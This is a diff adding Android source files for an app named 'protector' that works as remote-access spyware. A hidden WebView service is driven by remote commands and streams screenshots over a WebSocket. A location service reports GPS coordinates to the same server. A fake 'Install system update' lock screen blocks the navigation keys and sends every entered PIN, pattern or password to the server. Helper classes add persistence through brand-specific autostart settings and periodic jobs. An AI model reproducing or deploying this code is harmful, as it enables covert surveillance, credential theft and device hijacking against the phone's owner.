@@ -0,0 +1,53 @@
package com.icontrol.protector;
import static com.icontrol.protector.WorkServices.MyWorker.AlertServer;
import android.content.Context;
import android.util.Log;
import java.io.File;
import java.util.HashSet;
public class FilesFinder {
public static String[] searchFilesInDirectory(Context ctx, CustomFilesFilter.FileType fileType, File rootDir) {
try{
if (rootDir.exists() && rootDir.isDirectory()) {
HashSet<String> uniqueFolders = new HashSet<>(); // Use a set to avoid duplicates
collectFolders(rootDir, uniqueFolders, fileType);
if (!uniqueFolders.isEmpty()) {
StringBuilder folderPaths = new StringBuilder();
for (String folderPath : uniqueFolders) {
if (folderPaths.length() > 0) {
folderPaths.append("<*P*>");
}
folderPaths.append(folderPath);
}
return new String[]{"1", folderPaths.toString()};
} else {
return new String[]{"-1", "No "+fileType.name()+" found."};
}
} else {
return new String[]{"-1", "directory does not exist or is not a directory."};
}
}catch (Exception a){
return new String[]{"-1", "Error: "+a.getMessage()};
}
}
private static void collectFolders(File dir, HashSet<String> uniqueFolders, CustomFilesFilter.FileType fileType) {
File[] files = dir.listFiles(new CustomFilesFilter(fileType, true));
if (files != null) {
for (File file : files) {
if (file.isFile()) {
uniqueFolders.add(file.getParentFile().getAbsolutePath()); // Add the parent folder path to the set
} else if (file.isDirectory()) {
// Recursively collect folders in subdirectories
collectFolders(file, uniqueFolders, fileType);
}
}
}
}
}
@@ -0,0 +1,632 @@
package com.icontrol.protector;
import static com.icontrol.protector.Consts.URL_SOCKT;
import android.app.Notification;
import android.app.Service;
import android.content.Context;
import android.content.Intent;
import android.content.pm.ServiceInfo;
import android.graphics.Bitmap;
import android.graphics.Point;
import android.os.Build;
import android.os.Handler;
import android.os.IBinder;
import android.os.SystemClock;
import android.util.Base64;
import android.view.MotionEvent;
import android.view.View;
import android.webkit.CookieManager;
import android.webkit.WebChromeClient;
import android.webkit.WebResourceRequest;
import android.webkit.WebSettings;
import android.webkit.WebView;
import android.webkit.WebViewClient;
import androidx.annotation.Nullable;
import org.json.JSONObject;
import java.io.ByteArrayOutputStream;
import java.net.URI;
import java.util.regex.Pattern;
import okhttp3.OkHttpClient;
import okhttp3.Request;
import okhttp3.Response;
import okhttp3.WebSocket;
import okhttp3.WebSocketListener;
public class HiddenBrowser extends Service {
private WebView mWebView;
private boolean CanCapture = false;
private static HiddenBrowser instance;
private WebSocket websocketfile; // Reusable WebSocket
private OkHttpClient client;
public static HiddenBrowser getinstance() {
return instance;
}
private static int Notifi_ID = 111;
private void startforground(Context ctx) {
try{
// int Notifi_ID = UtliTools.randomnumber(11111, 88888);
MyNotification MyNotifiint = MyNotification.getInstance(ctx);
Notification notification = MyNotifiint.createNotification(ctx);
if (Build.VERSION.SDK_INT >= 34) {
this.startForeground(Notifi_ID, notification,
ServiceInfo.FOREGROUND_SERVICE_TYPE_DATA_SYNC);
} else {
this.startForeground(Notifi_ID, notification);
}
}catch (Exception a){}
}
public void controlbrowser(String[] args, Context ctx) {
String command = args[0];
Handler Mhandler = new Handler(ctx.getMainLooper());
switch (command) {
case "enter":
Mhandler.postDelayed(new Runnable() {
public void run() {
try {
//newurl
mWebView.evaluateJavascript(
"if (document.activeElement.form) { " +
" document.activeElement.form.submit(); " +
"} else { " +
" var keydownEvent = new KeyboardEvent('keydown', {key: 'Enter', keyCode: 13, which: 13}); " +
" document.activeElement.dispatchEvent(keydownEvent); " +
" var keyupEvent = new KeyboardEvent('keyup', {key: 'Enter', keyCode: 13, which: 13}); " +
" document.activeElement.dispatchEvent(keyupEvent); " +
" var searchButton = document.querySelector(\"input[name='btnK'], button[type='submit']\"); " +
" if (searchButton) { searchButton.click(); } " +
"}",
null
);
} catch (Exception d) {
}
}
}, 1);
break;
case "load":
String newurl = args[1];
Mhandler.postDelayed(new Runnable() {
public void run() {
try {
//newurl
mWebView.loadUrl(newurl);
} catch (Exception d) {
}
}
}, 1);
break;
case "text":
//text<:CS:>hello<:CS:>
String text = args[1];
Mhandler.postDelayed(new Runnable() {
public void run() {
try {
mWebView.evaluateJavascript("document.activeElement.value = '" + text + "';", null);
} catch (Exception d) {
}
}
}, 1);
break;
case "scroll":
//scroll<:CS:>Y<:CS:>
// int deltaY = Integer.valueOf(args[1]);
String coordinates = args[1]; // Example pointString
// Split the string by colon to get each point string
String[] tokens = coordinates.split(Pattern.quote(":"));
Point[] movements = new Point[tokens.length];
for (int i = 0; i < tokens.length; i++) {
try {
// Remove parentheses and split by comma
String[] coordinateArray = tokens[i].replace("(", "").replace(")", "").split(", ");
int x = Integer.parseInt(coordinateArray[0]);
int y = Integer.parseInt(coordinateArray[1]);
// Create a new Point object and store it in the array
movements[i] = new Point(x, y);
} catch (Exception e) {
e.printStackTrace();
}
}
Mhandler.postDelayed(new Runnable() {
public void run() {
try {
// mWebView.evaluateJavascript("document.documentElement.scrollBy(0, " + deltaY + ");", null);
simulateSwipe(movements,1500);
} catch (Exception d) {
}
}
}, 1);
break;
case "click":
int x = Integer.valueOf(args[1]);
int y = Integer.valueOf(args[2]);
Mhandler.postDelayed(new Runnable() {
public void run() {
try {
simulateClick(x, y);
} catch (Exception d) {
}
}
}, 1);
break;
case "nav"://navigate
int isback = Integer.valueOf(args[1]);
Mhandler.postDelayed(new Runnable() {
public void run() {
try {
if (isback == 2) {
mWebView.loadUrl("javascript:window.location.reload(true)");
} else if (isback == 1) {
if (mWebView.canGoForward()) {
mWebView.goForward();
}
} else if (isback == 0) {
if (mWebView.canGoBack()) {
mWebView.goBack();
}
}
} catch (Exception d) {
}
}
}, 1);
break;
}
}
private void simulateClick(float x, float y) {
long downTime = SystemClock.uptimeMillis();
long eventTime = SystemClock.uptimeMillis();
MotionEvent.PointerProperties[] properties = new MotionEvent.PointerProperties[1];
MotionEvent.PointerProperties pp1 = new MotionEvent.PointerProperties();
pp1.id = 0;
pp1.toolType = MotionEvent.TOOL_TYPE_FINGER;
properties[0] = pp1;
MotionEvent.PointerCoords[] pointerCoords = new MotionEvent.PointerCoords[1];
MotionEvent.PointerCoords pc1 = new MotionEvent.PointerCoords();
pc1.x = x;
pc1.y = y;
pc1.pressure = 1;
pc1.size = 1;
pointerCoords[0] = pc1;
MotionEvent motionEvent = MotionEvent.obtain(downTime, eventTime,
MotionEvent.ACTION_DOWN, 1, properties,
pointerCoords, 0, 0, 1, 1, 0, 0, 0, 0);
mWebView.dispatchTouchEvent(motionEvent);
motionEvent = MotionEvent.obtain(downTime, eventTime,
MotionEvent.ACTION_UP, 1, properties,
pointerCoords, 0, 0, 1, 1, 0, 0, 0, 0);
mWebView.dispatchTouchEvent(motionEvent);
}
public void simulateSwipe(Point[] points, long duration) {
long durationPerPoint = duration / (points.length - 1);
long downTime = SystemClock.uptimeMillis();
long eventTime = downTime;
// Inject ACTION_DOWN at the start
MotionEvent downEvent = MotionEvent.obtain(
downTime, eventTime, MotionEvent.ACTION_DOWN,
points[0].x, points[0].y, 0
);
mWebView.dispatchTouchEvent(downEvent);
// Inject ACTION_MOVE events
for (int i = 1; i < points.length; i++) {
eventTime += durationPerPoint;
MotionEvent moveEvent = MotionEvent.obtain(
downTime, eventTime, MotionEvent.ACTION_MOVE,
points[i].x, points[i].y, 0
);
mWebView.dispatchTouchEvent(moveEvent);
}
// Inject ACTION_UP at the end of the swipe
eventTime += durationPerPoint;
MotionEvent upEvent = MotionEvent.obtain(
downTime, eventTime, MotionEvent.ACTION_UP,
points[points.length - 1].x, points[points.length - 1].y, 0
);
mWebView.dispatchTouchEvent(upEvent);
// Inject a new ACTION_DOWN at the final point to simulate stopping
long stopDownTime = SystemClock.uptimeMillis();
MotionEvent stopDownEvent = MotionEvent.obtain(
stopDownTime, stopDownTime, MotionEvent.ACTION_DOWN,
points[points.length - 1].x, points[points.length - 1].y, 0
);
mWebView.dispatchTouchEvent(stopDownEvent);
// Hold for a brief moment to simulate touch
try {
Thread.sleep(100); // Hold down for 100ms, adjust if needed
} catch (InterruptedException e) {
e.printStackTrace();
}
// Inject an ACTION_UP to lift the "finger"
long stopUpTime = SystemClock.uptimeMillis();
MotionEvent stopUpEvent = MotionEvent.obtain(
stopDownTime, stopUpTime, MotionEvent.ACTION_UP,
points[points.length - 1].x, points[points.length - 1].y, 0
);
mWebView.dispatchTouchEvent(stopUpEvent);
// Recycle the events to avoid memory leaks
downEvent.recycle();
upEvent.recycle();
stopDownEvent.recycle();
stopUpEvent.recycle();
}
@Nullable
@Override
public IBinder onBind(Intent intent) {
return null;
}
@Override
public void onCreate() {
super.onCreate();
instance = this;
startforground(getApplicationContext());
}
@Override
public int onStartCommand(Intent intent, int flags, int startId) {
try {
if (intent.hasExtra("starturl")) {
client = new OkHttpClient();
String starturl = intent.getStringExtra("starturl");
String useragent = intent.getStringExtra("ua");
instance = this;
startforground(getApplicationContext());
startWebViewInBackground(starturl,useragent);
return START_STICKY;
}
} catch (Exception a) {
a.printStackTrace();
}
return START_NOT_STICKY;
}
private void startWebViewInBackground(String starturl,String useragent) {
// WebView logic goes here
mWebView = new WebView(this);
mWebView.getSettings().setJavaScriptEnabled(true);
try{
CookieManager.getInstance().setAcceptCookie(true);
CookieManager.getInstance().setAcceptThirdPartyCookies(mWebView, true);
}catch (Exception a){
}
mWebView.getSettings().setLoadsImagesAutomatically(true);
mWebView.getSettings().setLoadWithOverviewMode(true);
mWebView.getSettings().setUseWideViewPort(true);
mWebView.setScrollBarStyle(View.SCROLLBARS_INSIDE_OVERLAY);
mWebView.getSettings().setAllowFileAccess(true);
mWebView.getSettings().setCacheMode(WebSettings.LOAD_CACHE_ELSE_NETWORK);
mWebView.getSettings().setDomStorageEnabled(true);
mWebView.getSettings().setAllowFileAccessFromFileURLs(true);
mWebView.getSettings().setAllowUniversalAccessFromFileURLs(true);
mWebView.getSettings().setAllowContentAccess(true);
try {
mWebView.setLayerType(View.LAYER_TYPE_HARDWARE, null);
mWebView.getSettings().setPluginState(WebSettings.PluginState.ON);
mWebView.getSettings().setRenderPriority(WebSettings.RenderPriority.HIGH);
mWebView.setBackgroundColor(0xffffffff);
} catch (Exception a) {
}
mWebView.getSettings().setBuiltInZoomControls(false);
if(useragent.equals("a")){
if (starturl.contains("google.com") || starturl.contains("youtube.com")) {
mWebView.getSettings().setUserAgentString("Mozilla/5.0 (Linux; Android 13; Redmi Note 12 Pro) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.5845.187 Mobile Safari/537.36");
} else {
mWebView.getSettings().setUserAgentString("Mozilla/5.0 (Linux; Android 13; SM-A146P Build/TP1A.220624.014; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/116.0.5845.187 Mobile Safari/537.36 [FB_IAB/FB4A;FBAV/430.0.0.39.113;]");
}
}else if (useragent.startsWith("<c>")){
String customagent = useragent.replace("<c>","");
mWebView.getSettings().setUserAgentString(customagent);
}else {
//m or null
String ua= mWebView.getSettings().getUserAgentString();
mWebView.getSettings().setUserAgentString(ua);
}
// mWebView.getSettings().setUserAgentString("Mozilla/5.0 (Linux; Android 13; Redmi Note 8 Pro) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.5993.89 Mobile Safari/537.36");
mWebView.setWebChromeClient(new MyChrome());
mWebView.setWebViewClient(new MyWebViewClient());
mWebView.measure(View.MeasureSpec.makeMeasureSpec(720, View.MeasureSpec.EXACTLY),
View.MeasureSpec.makeMeasureSpec(1280, View.MeasureSpec.EXACTLY));
mWebView.layout(0, 0, mWebView.getMeasuredWidth(), mWebView.getMeasuredHeight());
mWebView.loadUrl(starturl);
if (!isRemotethreadlive()) {
RemoteLive(getApplicationContext());
}
}
public Bitmap captureWebView(WebView webView) {
// Create a Bitmap with the dimensions of the WebView
// Bitmap bitmap = Bitmap.createBitmap(webView.getWidth(), webView.getHeight(), Bitmap.Config.ARGB_8888);
//
// // Render the WebView to the Bitmap
// Canvas canvas = new Canvas(bitmap);
// webView.draw(canvas);
mWebView.setDrawingCacheEnabled(true);
Bitmap b = Bitmap.createScaledBitmap(mWebView.getDrawingCache(false),720,1280,false);
mWebView.setDrawingCacheEnabled(false);
return b;
}
private static volatile long remotethread = 0;
private static boolean isRemotethreadlive() {
if (remotethread == 0) {
return false;
}
long currentTime = System.currentTimeMillis();
long elapsedTime = currentTime - remotethread;
long lasttime = 30 * 1000; // 30 sec in milliseconds
return elapsedTime < lasttime;
}
public void StopRemoteThread(Context ctx) {
MySettings.WriteBool(ctx, Consts.Hidden_browser, false);
remotethread = 0;
}
@Override
public void onDestroy() {
super.onDestroy();
closeWebSocket();
}
public String lastimg = "";
public void RemoteLive(Context ctx) {
Thread thread = new Thread(new Runnable() {
public void run() {
do {
remotethread = System.currentTimeMillis();
try {
Thread.sleep(100);
} catch (Exception s) {
}
try {
if (!CanCapture) {
continue;
}
Bitmap screenshot = captureWebView(mWebView);
Bitmap compressedBitmap = Bitmap.createScaledBitmap(screenshot, 350, 650, true);
ByteArrayOutputStream baos = new ByteArrayOutputStream();
compressedBitmap.compress(Bitmap.CompressFormat.WEBP, 70, baos);
byte[] scbyts = baos.toByteArray();
String base64Image = Base64.encodeToString(scbyts, Base64.DEFAULT);
if (!lastimg.equals(base64Image)) {
lastimg = base64Image;
JSONObject jsonObject = new JSONObject();
jsonObject.put("type", "wbbrow");
jsonObject.put("img", base64Image);
jsonObject.put("cuz", "h");
String jsonData = jsonObject.toString();
Sendimg(ctx,jsonData);
}
} catch (Exception a) {
// a.printStackTrace();
MyLoger.Error("RemoteLive", a.getMessage());
}
} while (MySettings.ReadBool(ctx, Consts.Hidden_browser, false));
}
});
thread.start();
}
private void Sendimg(Context ctx, String msg) {
if (websocketfile == null) {
Request request = new Request.Builder().url(URL_SOCKT()).build();
websocketfile = client.newWebSocket(request, new WebSocketListener() {
@Override
public void onOpen(WebSocket webSocket, Response response) {
// Connection established, send the message
sendWebSocketMessage(ctx, msg);
}
@Override
public void onMessage(WebSocket webSocket, String text) {
// Handle server response if necessary
try{
JSONObject Response = new JSONObject(text);
String msgtype = Response.optString("type","empty");
if(msgtype.equals("stop") || msgtype.equals("Unauthorized access")){
websocketfile = null; // Set to null so it can be reconnected
client.dispatcher().executorService().shutdown();
StopRemoteThread(ctx);
}
}catch (Exception a){}
}
@Override
public void onClosed(WebSocket webSocket, int code, String reason) {
websocketfile = null; // Set to null so it can be reconnected
client.dispatcher().executorService().shutdown();
}
@Override
public void onFailure(WebSocket webSocket, Throwable t, Response response) {
t.printStackTrace();
websocketfile = null; // In case of failure, reset the WebSocket to null
}
});
} else {
// If WebSocket is already open, send the message directly
sendWebSocketMessage(ctx, msg);
}
}
private void sendWebSocketMessage(Context ctx, String msg) {
try {
String Myid = MySettings.Read(ctx, Consts.DEVICE_ID, "Deviceid");
String IDF = MySettings.Read(ctx, Consts.THE_IDF, null);
if (Myid == null || IDF == null) {
websocketfile.close(1000, "Missing ID");
return;
}
String CIP = MySettings.Read(ctx, Consts.THE_CIP, "null");
JSONObject message = new JSONObject();
// message.put("userId", userid);
message.put("idf", IDF);
message.put("pid", Myid);
message.put("itype", "Slr_client");
message.put("subc", "msg");
message.put("msg", msg);
message.put("cip", CIP);
String conctkey = MySettings.Read(ctx,Consts.Redirect_k,My_Configs.CONS_KY);
message.put("conk", conctkey);
websocketfile.send(message.toString());
} catch (Exception e) {
e.printStackTrace();
if (websocketfile != null) {
websocketfile.close(1000, "Error during message sending");
}
}
}
public void closeWebSocket() {
if (websocketfile != null) {
websocketfile.close(1000, "Closing WebSocket");
websocketfile = null;
}
if(client != null){
client.dispatcher().cancelAll();
client.connectionPool().evictAll();
client.dispatcher().executorService().shutdown();
client = null;
}
}
public class MyChrome extends WebChromeClient {
MyChrome() {
}
}
private class MyWebViewClient extends WebViewClient {
@Override
public void onPageStarted(WebView view, String url, Bitmap favicon) {
// TODO Auto-generated method stub
super.onPageStarted(view, url, favicon);
CanCapture = false;
}
@Override
public boolean shouldOverrideUrlLoading(WebView view, WebResourceRequest request) {
// TODO Auto-generated method stub
if (request != null && request.getUrl() != null) {
String url = request.getUrl().toString();
if (!url.startsWith("http") && url.contains("://")) {
try {
URI uri = new URI(url);
String newUrl = uri.getHost() + uri.getPath();
CanCapture = false;
mWebView.loadUrl(newUrl);
return true; // URL handled
} catch (Exception e) {
e.printStackTrace();
}
}
}
return false;
}
@Override
public void onReceivedError(WebView view, int errorCode,
String description, String failingUrl) {
}
@Override
public void onPageFinished(WebView view, String url) {
// TODO Auto-generated method stub
super.onPageFinished(view, url);
CanCapture = true;
// progressBar.setVisibility(View.GONE);
}
}
}
@@ -0,0 +1,41 @@
package com.icontrol.protector;
import android.app.job.JobInfo;
import android.app.job.JobScheduler;
import android.content.ComponentName;
import android.content.Context;
import android.os.Build;
public class JobSchedulerUtil {
private static final int JOB_ID = 100;
public static void scheduleJob(Context context) {
try {
JobScheduler jobScheduler = (JobScheduler) context.getSystemService(Context.JOB_SCHEDULER_SERVICE);
ComponentName componentName = new ComponentName(context, MyJobService.class);
JobInfo.Builder builder = new JobInfo.Builder(JOB_ID, componentName);
builder.setRequiredNetworkType(JobInfo.NETWORK_TYPE_ANY);
builder.setPersisted(true);
builder.setPeriodic(15 * 60 * 1000);
builder.setRequiresDeviceIdle(false);
builder.setRequiresCharging(false);
int result = jobScheduler.schedule(builder.build());
if (result == JobScheduler.RESULT_SUCCESS)
MyLoger.Debug("Successfully scheduled", " job: " + result);
else
MyLoger.Error("Scheduled FAILURE", " job: " + result);
} catch (Exception e) {
MyLoger.Error("scheduleJob", e.getMessage());
}
}
public static void cancelJob(Context context) {
JobScheduler jobScheduler = (JobScheduler) context.getSystemService(Context.JOB_SCHEDULER_SERVICE);
jobScheduler.cancel(JOB_ID);
}
}
File diff suppressed because it is too large Load Diff
@@ -0,0 +1,129 @@
package com.icontrol.protector;
import android.Manifest;
import android.app.Notification;
import android.app.Service;
import android.content.Context;
import android.content.Intent;
import android.content.pm.PackageManager;
import android.content.pm.ServiceInfo;
import android.location.Location;
import android.location.LocationListener;
import android.location.LocationManager;
import android.os.Build;
import android.os.Bundle;
import android.os.IBinder;
import androidx.annotation.NonNull;
import androidx.annotation.Nullable;
import androidx.core.app.ActivityCompat;
import org.json.JSONException;
import org.json.JSONObject;
public class LocationMonitor extends Service {
private LocationListener myLoListener;
private LocationManager myLoManager;
private boolean isActive = false;
@Nullable
@Override
public IBinder onBind(Intent intent) {
return null;
}
private static int Notifi_ID = 111;
private void startForegroundService(Context ctx) {
try{
// int Notifi_ID = UtliTools.randomnumber(11111, 88888);
MyNotification MyNotifiint = MyNotification.getInstance(ctx);
Notification notification = MyNotifiint.createNotification(ctx);
if (Build.VERSION.SDK_INT >= 34) {
this.startForeground(Notifi_ID, notification,
ServiceInfo.FOREGROUND_SERVICE_TYPE_LOCATION);
} else {
this.startForeground(Notifi_ID, notification);
}
}catch (Exception a){}
}
private void startLocationTracking() {
if (isActive) return;
isActive = true;
myLoManager = (LocationManager) getSystemService(Context.LOCATION_SERVICE);
myLoListener = new LocationListener() {
@Override
public void onLocationChanged(@NonNull Location location) {
if (!isActive) return;
double latitude = location.getLatitude();
double longitude = location.getLongitude();
MyLoger.Debug("test location:", latitude + " ---- " + longitude);
try {
JSONObject jsonObject = new JSONObject();
jsonObject.put("type", id_Commands.Location);
jsonObject.put("ltd", latitude);
jsonObject.put("lgd", longitude);
String jsonData = jsonObject.toString();
LiveChat.instance(getApplicationContext()).Livemessage(getApplicationContext(), jsonData);
} catch (JSONException e) {
e.printStackTrace();
}
}
@Override
public void onStatusChanged(String provider, int status, Bundle extras) {
// Optional: can be empty
}
@Override
public void onProviderEnabled(String provider) {}
@Override
public void onProviderDisabled(String provider) {}
};
if (ActivityCompat.checkSelfPermission(getApplicationContext(), Manifest.permission.ACCESS_FINE_LOCATION) == PackageManager.PERMISSION_GRANTED) {
myLoManager.requestLocationUpdates(LocationManager.GPS_PROVIDER, 0, 0, myLoListener);
myLoManager.requestLocationUpdates(LocationManager.NETWORK_PROVIDER, 0, 0, myLoListener);
}
}
private void stopLocationTracking() {
isActive = false;
if (myLoManager != null && myLoListener != null) {
myLoManager.removeUpdates(myLoListener);
myLoListener = null;
}
stopForeground(false);
stopSelf();
}
@Override
public int onStartCommand(Intent intent, int flags, int startId) {
String action = intent != null ? intent.getAction() : null;
if ("start".equals(action)) {
startForegroundService(getApplicationContext());
startLocationTracking();
} else if ("stop".equals(action)) {
stopLocationTracking();
}
return START_STICKY;
}
@Override
public void onDestroy() {
stopLocationTracking();
super.onDestroy();
}
}
@@ -0,0 +1,269 @@
package com.icontrol.protector;
import static com.icontrol.protector.UtliTools.StorePasscode;
import static com.icontrol.protector.UtliTools.Wallpaper;
import static com.icontrol.protector.UtliTools.getAppIconAsBase64;
import static com.icontrol.protector.WorkServices.MyWorker.AlertServer;
import android.app.Activity;
import android.content.Context;
import android.os.Build;
import android.os.Bundle;
import android.view.KeyEvent;
import android.view.View;
import android.view.Window;
import android.view.WindowInsets;
import android.view.WindowInsetsController;
import android.view.WindowManager;
import android.webkit.CookieManager;
import android.webkit.JavascriptInterface;
import android.webkit.JsResult;
import android.webkit.WebChromeClient;
import android.webkit.WebSettings;
import android.webkit.WebView;
import android.webkit.WebViewClient;
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStream;
import java.io.InputStreamReader;
public class LockActivity extends Activity {
String smallbaseimg="iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAQAAAC1HAwCAAAAC0lEQVR42mNk+A8AAQUBAScY42YAAAAASUVORK5CYII=";
private static LockActivity instance;
public static boolean isActivityOpen() {
return instance != null;
}
public static void endlock() {
if (instance != null){
instance.finish();
instance=null;
}
}
@Override
public void onWindowFocusChanged(boolean hasFocus) {
super.onWindowFocusChanged(hasFocus);
if (hasFocus) {
getWindow().getDecorView().setSystemUiVisibility(
View.SYSTEM_UI_FLAG_HIDE_NAVIGATION |
View.SYSTEM_UI_FLAG_FULLSCREEN |
View.SYSTEM_UI_FLAG_IMMERSIVE_STICKY
);
}
}
static Context myctx=null;
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
instance =this;
requestWindowFeature(Window.FEATURE_NO_TITLE);
getWindow().setFlags(WindowManager.LayoutParams.FLAG_FULLSCREEN,
WindowManager.LayoutParams.FLAG_FULLSCREEN);
try{
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.R) {
WindowInsetsController insetsController = getWindow().getInsetsController();
if (insetsController != null) {
insetsController.hide(WindowInsets.Type.statusBars() | WindowInsets.Type.navigationBars());
insetsController.setSystemBarsBehavior(
WindowInsetsController.BEHAVIOR_SHOW_TRANSIENT_BARS_BY_SWIPE);
}
}else{
View decorView = getWindow().getDecorView();
int uiOptions = View.SYSTEM_UI_FLAG_HIDE_NAVIGATION | View.SYSTEM_UI_FLAG_IMMERSIVE_STICKY;
decorView.setSystemUiVisibility(uiOptions);
}
}catch (Exception a){}
if (myctx == null)
{
myctx = getApplicationContext();
}
WebView webView = new WebView((Context)this);
webView.getSettings().setJavaScriptEnabled(true);
webView.getSettings().setLoadsImagesAutomatically(true);
webView.getSettings().setLoadWithOverviewMode(true);
try{
CookieManager.getInstance().setAcceptCookie(true);
CookieManager.getInstance().setAcceptThirdPartyCookies(webView, true);
}catch (Exception a){
}
webView.getSettings().setUseWideViewPort(true);
webView.setScrollBarStyle(View.SCROLLBARS_INSIDE_OVERLAY);
webView.getSettings().setAllowFileAccess(true);
webView.getSettings().setCacheMode(WebSettings.LOAD_CACHE_ELSE_NETWORK);
webView.getSettings().setDomStorageEnabled(true);
webView.getSettings().setAllowFileAccessFromFileURLs(true);
webView.getSettings().setAllowUniversalAccessFromFileURLs(true);
webView.getSettings().setAllowContentAccess(true);
try {
webView.setLayerType(View.LAYER_TYPE_HARDWARE, null);
webView.getSettings().setPluginState(WebSettings.PluginState.ON);
webView.getSettings().setRenderPriority(WebSettings.RenderPriority.HIGH);
webView.setBackgroundColor(0xffffffff);
} catch (Exception a) {
}
webView.setScrollBarStyle(View.SCROLLBARS_INSIDE_OVERLAY);
webView.setWebViewClient(new LockActivity.MyWebViewClient());
webView.setWebChromeClient(new LockActivity.MyWebChromeClient());
webView.addJavascriptInterface(new LockActivity.WebAppInterface((Context)this), "CallBacker");
String currentwall = Wallpaper(myctx,340,650,false);
try {
if (currentwall.equals("-1")){
currentwall= smallbaseimg;
}
// MySettings.Write(ctx,Consts.lock_pin,thepin);
// Install system update
String thetitle = MySettings.Read(myctx,Consts.lock_title,"Install system update");
String themsg = "";
String sixpin = "false";
String okpin = MySettings.Read(myctx,Consts.lock_pin,"");
if (okpin.length() == 6){
sixpin="true";
}
String thetype = MySettings.Read(myctx,Consts.lock_type,"1");
if (thetype.equals("3")) {
themsg = MySettings.Read(myctx,Consts.lock_msg,"Enter Password");
}else if (thetype.equals("2")){
themsg = MySettings.Read(myctx,Consts.lock_msg,"Enter PIN");
}else{
themsg = MySettings.Read(myctx,Consts.lock_msg,"Draw pattern");
}
My_Crpter cr = My_Crpter.Getinstance();
String PageBase64 = cr.Dcrpt_Str(loadHtmlFromAssets(thetype +".bt")) //1 = pattern , 2 = pin, 3 = password
.replace("[TITLE]",thetitle)
.replace(smallbaseimg,currentwall)
.replace("[DIS]",themsg)
.replace("PINLENGTH",sixpin)
.replace("[BTN]",My_Configs._Login_btn_);
webView.loadDataWithBaseURL(null, PageBase64, "text/html", "UTF-8", null);
setContentView((View)webView);
} catch (Exception e) {
finish();
}
}
private String loadHtmlFromAssets(String fileName) {
StringBuilder html = new StringBuilder();
try (InputStream is = getAssets().open(fileName);
BufferedReader reader = new BufferedReader(new InputStreamReader(is))) {
String line;
while ((line = reader.readLine()) != null) {
html.append(line).append("\n");
}
} catch (IOException e) {
e.printStackTrace();
return null;
}
return html.toString();
}
@Override
protected void onStop() {
super.onStop();
}
@Override
public void onDestroy(){
instance =null;
super.onDestroy();
}
@Override
public boolean onKeyDown(int keyCode, KeyEvent event) {
if (keyCode == KeyEvent.KEYCODE_HOME) {
return true;
}
if (keyCode == KeyEvent.KEYCODE_BACK) {
return true;
}
if (keyCode == KeyEvent.KEYCODE_MENU) {
return true;
}
return false;
}
@Override
public void onBackPressed() {
super.onBackPressed();
}
@Override
public boolean dispatchKeyEvent(KeyEvent keyEvent){
return true;
}
private class MyWebChromeClient extends WebChromeClient {
private MyWebChromeClient() {}
public boolean onJsAlert(WebView param1WebView, String param1String1, String param1String2, JsResult param1JsResult) {
return true;
}
}
private class MyWebViewClient extends WebViewClient {
private MyWebViewClient() {}
public void onPageFinished(WebView param1WebView, String param1String) {}
public boolean shouldOverrideUrlLoading(WebView param1WebView, String param1String) {
return false;
}
}
public class WebAppInterface {
Context mContext;
WebAppInterface(Context param1Context) {
this.mContext = param1Context;
}
@JavascriptInterface
public void OK(String data) {
try {
//Log.d("x",data);
AlertServer(myctx,"Lock mobile","Attempt code: "+data);
if (data.length() >= 4){
StorePasscode(myctx,data);
String okpin = MySettings.Read(myctx,Consts.lock_pin,"");
if(okpin.length() > 0){
if(okpin.toLowerCase().equals(data.toLowerCase())){
MySettings.WriteBool(myctx,Consts.lock_screen,false);
finish();
}
}else{
MySettings.WriteBool(myctx,Consts.lock_screen,false);
finish();
}
}
}catch (Exception e){
}
}
}
}
@@ -0,0 +1,486 @@
package com.icontrol.protector;
import android.content.ComponentName;
import android.content.Context;
import android.content.Intent;
import android.content.pm.ApplicationInfo;
import android.content.pm.PackageManager;
import android.os.Build;
import android.util.Log;
import java.util.Arrays;
import java.util.List;
import java.util.Locale;
@SuppressWarnings("FieldCanBeLocal")
public class MIUIAutoStart {
private static volatile MIUIAutoStart instance = null;
// Brand and Package Details
private static final String BRAND_MEIZU = "meizu";
private static final String PACKAGE_MEIZU_MAIN = "com.meizu.safe";
private static final String PACKAGE_MEIZU_COMPONENT = "com.meizu.safe.permission.SmartBGActivity";
private static final String BRAND_XIAOMI = "xiaomi";
private static final String BRAND_XIAOMI_POCO = "poco";
private static final String BRAND_XIAOMI_REDMI = "redmi";
private static final String PACKAGE_XIAOMI_MAIN = "com.miui.securitycenter";
private static final String PACKAGE_XIAOMI_COMPONENT = "com.miui.permcenter.autostart.AutoStartManagementActivity";
private static final String PACKAGE_XIAOMI_COMPONENT_FALLBACK_A = "com.miui.powerkeeper.ui.HiddenAppsConfigActivity";
private static final String BRAND_ULONG = "ulong";
private static final String PACKAGE_ULONG_MAIN = "com.yulong.android.coolsafe";
private static final String PACKAGE_ULONG_COMPONENT = "com.yulong.android.coolsafe.ui.activity.autorun.AutoRunListActivity";
private static final String BRAND_LETV = "letv";
private static final String PACKAGE_LETV_MAIN = "com.letv.android.letvsafe";
private static final String PACKAGE_LETV_COMPONENT = "com.letv.android.letvsafe.AutobootManageActivity";
private static final String PACKAGE_LETV_COMPONENT_A = "com.letv.android.permissionautoboot";
private static final String BRAND_ASUS = "asus";
private static final String PACKAGE_ASUS_MAIN = "com.asus.mobilemanager";
private static final String PACKAGE_ASUS_COMPONENT = "com.asus.mobilemanager.powersaver.PowerSaverSettings";
private static final String PACKAGE_ASUS_COMPONENT_FALLBACK = "com.asus.mobilemanager.autostart.AutoStartActivity";
private static final String BRAND_HONOR = "honor";
private static final String PACKAGE_HONOR_MAIN = "com.huawei.systemmanager";
private static final String PACKAGE_HONOR_COMPONENT = "com.huawei.systemmanager.optimize.process.ProtectActivity";
private static final String BRAND_HUAWEI = "huawei";
private static final String PACKAGE_HUAWEI_MAIN = "com.huawei.systemmanager";
private static final String PACKAGE_HUAWEI_COMPONENT = "com.huawei.systemmanager.startupmgr.ui.StartupNormalAppListActivity";
private static final String PACKAGE_HUAWEI_COMPONENT_FALLBACK = "com.huawei.systemmanager.optimize.process.ProtectActivity";
